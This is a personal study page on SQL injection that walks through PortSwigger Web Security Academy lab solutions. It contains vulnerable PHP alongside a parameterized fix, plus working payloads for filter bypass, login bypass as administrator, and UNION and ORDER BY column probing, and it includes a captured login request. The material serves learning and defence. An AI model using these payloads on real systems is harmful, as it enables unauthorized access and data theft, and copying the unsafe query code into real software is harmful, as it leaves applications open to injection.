SQL Injections

SQLi happens when a statement prepared on the backend doesn't filter user-supplied input. The user gets control over the SQL database and can view unauthorized data.

For example,

<?php
// Assume $_GET['category'] is user-controlled input
$category = $_GET['category'];

// Unsafe SQL query construction with direct concatenation
$sql = "SELECT * FROM products WHERE category = '" . $category . "' AND released=1";

// Execute SQL query
$result = mysqli_query($conn, $sql);

// Process the results...
?>

If a user supplies input as: Gifts

Statement prepared and executed at the backend is: SELECT * FROM products WHERE category = 'Gifts' AND released=1

So, effective mitigation against this type of attack is paramterization.

For example,

<?php
// Assume $conn is a valid MySQLi connection object

// Use prepared statement
$stmt = $conn->prepare("SELECT * FROM products WHERE category = ? AND released=1");

// Bind parameters. 's' specifies the type: string
$stmt->bind_param("s", $_GET['category']);

// Execute the statement
$stmt->execute();

// Get the result
$result = $stmt->get_result();

// Process the results...
?>

This way, input is strictly treated as input, not as part of the SQL query. Any invalid input would just give out an error and stop. No extra info would be leaked.

Detection: Some characters like " ' " break the query and result is visible on the page.

SQL injection in different parts of the query

Most SQL injection vulnerabilities occur within the WHERE clause of a SELECT query. Most experienced testers are familiar with this type of SQL injection.

However, SQL injection vulnerabilities can occur at any location within the query, and within different query types. Some other common locations where SQL injection arises are:

  • In UPDATE statements, within the updated values or the WHERE clause.

  • In INSERT statements, within the inserted values.

  • In SELECT statements, within the table or column name.

  • In SELECT statements, within the ORDER BY clause.

SQL injection examples

There are lots of SQL injection vulnerabilities, attacks, and techniques, that occur in different situations. Some common SQL injection examples include:

Lab 1 : When a user selects a category a request like this is being made:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Solution: https://0a0800aa030eb0f280f3212c004a00a6.web-security-academy.net/filter?category=Corporate+gifts%27%20or%201=1--

Payload: ' or 1=1--

Lab 2: SQL injection vulnerability allowing login bypass

This lab contains a SQL injection vulnerability in the login function.

To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

Solution:

Backend query:

POST /login HTTP/2
Host: 0a8f00b603c0c2a28108167c00d100b7.web-security-academy.net
Cookie: session=LmzMKgVF6nOj908IAsGlSUstWwcqXh0S
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: https://0a8f00b603c0c2a28108167c00d100b7.web-security-academy.net
Referer: https://0a8f00b603c0c2a28108167c00d100b7.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

csrf=NtU1q8rT6if3cITcNiE0XCUKnkuxuM8E&username=administrator&password=administrator

POST request edited like: csrf=J6UykKVsiWOu3ixTzxJEYAucp2NlTIFp&username=administrator'--&password=sdfsdf

Reason:

Imagine an application that lets users log in with a username and password. If a user submits the username wiener and the password bluecheese, the application checks the credentials by performing the following SQL query:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

If the query returns the details of a user, then the login is successful. Otherwise, it is rejected.

In this case, an attacker can log in as any user without the need for a password. They can do this using the SQL comment sequence -- to remove the password check from the WHERE clause of the query. For example, submitting the username administrator'-- and a blank password results in the following query:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

This query returns the user whose username is administrator and successfully logs the attacker in as that user.

Lab 3: Retrieving data from other database tables

To do this, UNION Based SQLi is done.

Union Based SQLi

When an application is vulnerable to SQL injection, and the results of the query are returned within the application's responses, you can use the UNION keyword to retrieve data from other tables within the database. This is commonly known as a SQL injection UNION attack.

The UNION keyword enables you to execute one or more additional SELECT queries and append the results to the original query. For example:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This SQL query returns a single result set with two columns, containing values from columns a and b in table1 and columns c and d in table2.

For a UNION query to work, two key requirements must be met:

  • The individual queries must return the same number of columns.

  • The data types in each column must be compatible between the individual queries.

To carry out a SQL injection UNION attack, make sure that your attack meets these two requirements. This normally involves finding out:

  • How many columns are being returned from the original query.

  • Which columns returned from the original query are of a suitable data type to hold the results from the injected query.

Determining the number of columns required

When you perform a SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.

One method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs. For example, if the injection point is a quoted string within the WHERE clause of the original query, you would submit:

' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- etc.

This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don't need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as:

The ORDER BY position number 3 is out of range of the number of items in the select list.

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.

If the number of nulls does not match the number of columns, the database returns an error, such as:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Lab 3 - SQL injection UNION attack, determining the number of columns returned by the query

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

PreviousPython Serialization Vulnerabilities - PickleNextSSTI

Last updated